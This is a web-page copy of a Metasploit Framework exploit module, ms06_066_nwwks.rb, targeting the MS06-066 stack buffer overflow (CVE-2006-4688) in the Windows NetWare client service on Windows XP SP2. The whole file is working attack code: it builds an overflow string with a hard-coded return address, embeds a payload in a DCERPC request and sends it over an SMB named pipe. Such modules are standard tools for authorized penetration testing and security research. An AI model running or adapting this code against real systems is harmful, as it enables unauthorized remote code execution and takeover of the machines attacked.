Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/ms06_066_nwwks.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
include Msf::Exploit::Remote::SMB::Client
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'MS06-066 Microsoft Services nwwks.dll Module Exploit',
17
'Description' => %q{
18
This module exploits a stack buffer overflow in the svchost service, when the netware
19
client service is running. This specific vulnerability is in the nwapi32.dll module.
20
},
21
'Author' => [ 'pusscat' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2006-4688'],
25
[ 'OSVDB', '30260'],
26
[ 'BID', '21023'],
27
[ 'MSB', 'MS06-066'],
28
29
],
30
'DefaultOptions' => {
31
'EXITFUNC' => 'thread',
32
},
33
'Privileged' => true,
34
'Payload' => {
35
'Space' => 1000,
36
'BadChars' => "",
37
'Compat' =>
38
{
39
# -ws2ord XXX?
40
},
41
'StackAdjustment' => -3500,
42
},
43
'Platform' => 'win',
44
'Targets' => [
45
[
46
'Windows XP SP2',
47
{
48
'Ret' => 0x616566fb, # modemui.dll [esp + 16]: popaw, ret
49
},
50
]
51
],
52
53
'DefaultTarget' => 0,
54
'DisclosureDate' => '2006-11-14',
55
'Notes' => {
56
'Reliability' => UNKNOWN_RELIABILITY,
57
'Stability' => UNKNOWN_STABILITY,
58
'SideEffects' => UNKNOWN_SIDE_EFFECTS
59
}
60
)
61
)
62
63
register_options(
64
[
65
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'nwwks']),
66
]
67
)
68
end
69
70
def exploit
71
# [in] [unique] wchar *
72
# [in] [unique] wchar *
73
# [out] long
74
75
ofstring = Rex::Text.to_unicode('\\\\') + rand_text(292) + [ target.ret ].pack('V') + "\x00\x00"
76
stubdata =
77
NDR.long(rand(0xffffffff)) +
78
NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +
79
NDR.long(rand(0xffffffff)) +
80
NDR.UnicodeConformantVaryingStringPreBuilt(payload.encoded + "\x00\x00") +
81
NDR.long(rand(0xffffffff)) +
82
NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +
83
NDR.long(rand(0xffffffff)) +
84
NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +
85
NDR.UnicodeConformantVaryingStringPreBuilt(ofstring)
86
87
print_status("Connecting to the SMB service...")
88
connect()
89
smb_login()
90
91
handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
92
print_status("Binding to #{handle} ...")
93
dcerpc_bind(handle)
94
print_status("Bound to #{handle} ...")
95
96
print_status("Calling the vulnerable function...")
97
98
begin
99
dcerpc.call(0x01, stubdata)
100
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
101
print_status('Server did not respond, this is expected')
102
rescue => e
103
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
104
print_status('Server disconnected, this is expected')
105
else
106
raise e
107
end
108
else
109
print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")
110
end
111
112
# Cleanup
113
handler
114
disconnect
115
116
if (dcerpc.last_response != nil and
117
dcerpc.last_response.stub_data != nil and
118
dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
119
return true
120
else
121
return false
122
end
123
end
124
end
125
126